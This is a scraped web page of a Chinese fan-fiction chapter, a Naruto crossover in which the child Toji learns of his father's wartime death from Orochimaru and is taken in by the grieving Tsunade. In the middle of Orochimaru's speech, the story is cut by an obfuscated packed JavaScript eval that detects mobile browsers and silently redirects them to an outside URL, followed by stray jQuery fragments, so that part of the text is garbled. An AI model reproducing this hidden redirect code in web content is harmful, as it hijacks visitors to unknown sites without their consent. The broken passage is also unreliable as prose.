4. ——生老病死、天灾意外都是世间常态只是对于家属们而言很难

作品:《宇智波甚尔绝不当火影

    6.


    被蛇当猎物盯着并不舒服——


    “喂,那是谁?”


    指着大蛇丸,甚尔扭头向纲手问道。


    “喊姐姐啊,臭小鬼!”


    “嘁……大门那里站着的那条蛇是谁?纲、手、姐、姐!”


    “站着的蛇?”


    顺着甚尔所指的方向看去,纲手看见了抱手站着的大蛇丸,他发现纲手和甚尔的视线时还微微点头权当问候了。


    搞什么啊,甚尔这个形容也太、也太……


    “哈哈哈哈哈!”


    没忍住,纲手捂着肚子、前仰后合的笑了起来:


    “对,确实是条人型的蛇,哈哈哈!”


    笑了好一会儿,笑够了的纲手摸了摸甚尔毛绒绒的脑袋说道:


    “好了,不开玩笑了,那是大蛇丸,我的队友。他确实很像蛇,连通灵兽也是蛇。”


    “虽然看起来可能有些可怕,但他只是最近心情不好而已,下次我再介绍你们认识吧。”


    “我想想……等我和断订婚的时候怎么样?”


    “我是不是没给你介绍过我的男朋友加藤断,他是个很好很好的人。”


    说着,纲手笑了起来,那是和之前不同的轻笑。


    她笑得很温柔,连眼角都在笑。


    这个笑容就像阳光撒在澄黄的落叶堆上一般温暖,却并不会引起甚尔的反感。


    所以在和那个叫断的家伙结婚之后,纲手她也会变成音叶还有春野建一那种傻瓜吗?


    因为什么,因为爱?


    爱会让人变蠢?


    没有问出声,甚尔却对此产生了好奇。


    同时,甚尔并不知道,他下一次见到大蛇丸;下一次听到纲手和那个断的消息……


    是在一个那么寒冷的日子。


    7.


    这天在二月,甚尔刚度过他的4岁生日不久。


    二月的木叶已经暖了起来,第二次忍界大战也结束了,本来一切都渐渐地好起来了……


    直到一场倒春寒席卷大地,天灾无情的带走了棕褐枝头上那刚刚冒出的草绿嫩芽。


    “——木叶上忍春野建一已确认阵亡。”


    “甚尔君,这是抚恤以及牺牲者遗物,葬礼定在明日,集体葬礼。”


    说着,大蛇丸拿出了一个一人合抱大小的卷轴,忍者的空间储物卷轴。


    “怎么是你来报丧,蛇什么时候开始和乌鸦抢工作了。”


    甚尔侧躺在榻榻米上,贴地的那条腿摊平、另一条腿曲起踩在地上。


    也不起身招待客人,他抬头示意大蛇丸把东西放桌子上。


    没有大蛇丸在牺牲者家属那里经常见到的嚎啕大哭、歇斯底里的质问,又或者是语无伦次的感谢。


    甚尔只是面上没什么表情的问道:


    “为什么是你来,就因为你是纲手的队友?”


    “哈,堂堂三代目火影的弟子、木叶高层,你还需要亲自来慰问我们这种战争的耗材啊?”


    “真是长见识了。”


    这话已经堪称挑衅了,但大蛇丸没生气。


    他对一切“有价值”的存在都会抱有常人难以理解的宽容,同时,甚尔的反应让他觉得有意思。


    这个孩子……


    他的重点不在于父亲的死,而在于来通知死讯的人是那个大蛇丸?


    “呵呵”笑了两声,笑意不达眼底,大蛇丸本人则耐心的回复了甚尔:


    “没错,我是高层之一,正因如此,来的人才应该是我不是吗?”


    “毕竟战争从来不是结束,而是开始。”


    “甚尔君你又何必贬低自己?”


    “你的父母都是上忍中的精英,即使是木叶也没有奢侈到遍地是上忍。”


    “更何况你会成为比他们更优秀的忍者的,甚尔君。”


    这是大蛇丸和甚尔的第二次见面。


    纲手还没来得及拉他们认识彼此,但他们还是早已从各方面知道了彼此的信息。


    “或许你自己都不知道是为什么。”


    “但我、纲手,还有你的父母都是这样坚信的,我们相信你会成为一名优秀的忍者。”


    “就像一朵花将来是否会绽放得足够美丽一样,这种事情,我们看得出来。”


    说这话的时候,大蛇丸嘴角微微勾起,不知道在想什么。


    他的神情和当初抱着甚尔的宇智波音叶并不相似,大蛇丸就算笑起来也像蛇一样阴冷。


    但他的语气,那肯定到毫不犹豫的态度却又和那对傻瓜夫妻如出一辙。


    所以……为什么?


    甚尔并不怀疑自己未来可以很强这件事,无论是前世遗留给他的经验还是他这辈子都出身似乎都注定了他终将变强。


    但为什么一定要成为忍者?


    在回复大蛇丸的话前,甚尔在一瞬间内想了很多。


    他想到了堪称尸骨无存的春野建一,他想到了成功从战场上回来,却因此旧伤复发而离世的宇智波音叶。


    对,宇智波音叶已经死了,在半年前。


    或许是因为前世的缘故,甚尔从不喊他们妈妈或者爸爸。


    而现在,仅有的、有可能让甚尔喊出那个称呼的那俩个人并没有等到他们所爱着的小孩彻底敞开心扉的那天。


    “……纲手、”


    有那么一瞬间,甚尔想问大蛇丸——春野建一是怎么死?


    他还想问,第二次忍界大战不是结束了吗?


    但很快,都不用他人说什么,甚尔自己说服了自己:


    他的前一个问题没有意义,毕竟人死了就是死了,也只是死了。


    而他的后一个问题更是堪称愚蠢,第二次忍界大战是结束了,可战争不会消失。


    更何况大蛇丸不是说了吗,“战争从来不是结束,而是开始。”


    没有悲伤,也不是在高兴。


    带着些自己也理不清的情绪,像隔着层毛玻璃看这个世界,甚尔想到了便顺口说道:


    “半年前我生日宴会上,纲手说要介绍我们认识,在她的订婚礼上。”


    “……”


    “啊,她和断的订婚仪式吗?”


    沉默了两秒,大蛇丸又有些阴沉的“呵呵”笑了起来,说道:


    “那真是可惜,没有那个机会了。”


    “如果可以的话,我也想和甚尔君你在更美好的场合认识,但断的葬礼也在明天。”


    “准确来说那是所有在这些年战争中离去之人的葬礼。”


    说到这,大蛇丸顿了一下,然后他接着道:


    “绳树、纲手的弟弟……也是我的弟子,他的葬礼也在明天。”


    “甚尔君,明天的葬礼,你会露面吗?”


    甚尔没有回应大蛇丸这句话。


    但没关系,知道接下来还会有人来找甚尔,不想和某人撞上的大蛇丸准备离开了。


    于是他自顾自说道:<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15306007|167216||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“对了,有一件事我想你或许还是会想知道的——”


    “第二次忍界大战是雨之国对五大国发起的,因为地形优势,躲在最后方的水之国损伤最少。”


    “而在雨之国撑不住开始谈和时,即,从半年前开始,水之国雾隐村就开始偷袭木叶了。”


    “腹背受敌,村子不得不增派人手。”


    话音落下,大蛇丸开始向几周没有打理而落灰的庭院大门走去。


    动作轻巧的踩在导致倒春寒的寒风所刮落的树叶上,像追踪猎物的蛇,他没有发出任何声音。


    而在离开前,大蛇丸最后回头看了眼甚尔。


    垂首、半闭着双眸,他看起来意外真诚的说道:


    “甚尔君,我就是雾隐村战线的最高指挥官。对于春野前辈的死,我感到很遗憾。”


    “只有这一点、至少这一点……我的感受是真实的。”


    大蛇丸已经离开了,风吹过卷起细小到肉眼看不见尘土也吹散了稀碎的声音。


    ——甚尔隐约听见了他的呢喃声,却听不真切。


    但,大蛇丸哀悼般垂眸时,他从眼角蔓延到鼻梁山根的紫色眼影,以及他那金色竖瞳、蛇一般的双眸却留在了甚尔的脑海中。


    冷血的蛇也会感到遗憾吗?


    “……”


    半小时后,还是那个庭院、还是那个会客厅,失去了会仔细将熄灭壁炉烧热的笨蛋,甚尔感觉有些冷。


    “加件衣物吧。”


    不怎么专心的听着新的来者的絮叨,甚尔将双手合拢揣进袖子里,坐着、呢喃着。


    然后他收获了来自纲手的抱怨。


    “你在说什么,甚尔,大声点啊。”


    “……没什么。”


    “所以你究竟是怎么想的?”


    纲手通常会选择教训不听她说话的小鬼一顿,但如今,她琥珀色的眼底尽是掩饰不了的疲惫。


    担忧的看了眼明显注意力不集中的甚尔,她说道:


    “我知道你有自己的想法,但你的年纪终究还是太小了。”


    “三代和大蛇丸估计也是看在我和宇智波那边不会不管你,才把抚恤金一口气都发给你的。”


    “买菜、做饭,衣服还有之后上学,有些事情没经验的话有钱也不容易。”


    “你也不用担心我麻烦我,断、”


    下意识回避着某个名字,停顿了一秒的纲手接着说道:


    “断的侄女,静音,比你小一岁那个,我应该和你提到过她。”


    “她现在也是我在照顾,你们俩个正好可以作伴。”


    在大蛇丸离开不久后,甚尔走到里屋和院子门槛上跨开腿坐着,然后他就在漫无目的眺望中迎来了纲手。


    纲手是甚尔的表姐。


    甚尔曾在去年生日宴会上吐槽过亲戚这种东西不落井下石就好了,还雪中送炭,但纲手明显不是这样的人。


    于是,眼睛下有圈乌黑却依旧将自己打理的如往常一般的纲手走到甚尔身旁。


    和甚尔一样大咧咧坐下,面对空落落的大门和枝头空荡荡的树,她低头、闭着眼请求道:


    “搬去和我住吧,你也是我的弟弟。”


    “拜托了,甚尔……”


    “我已经、已经没法再失去什么了。”


    那位传说中的三忍之一,传奇忍者纲手,她此刻的声音少见的有些哽咽。


    而这就是战争给所有人,包括忍者们带来的东西——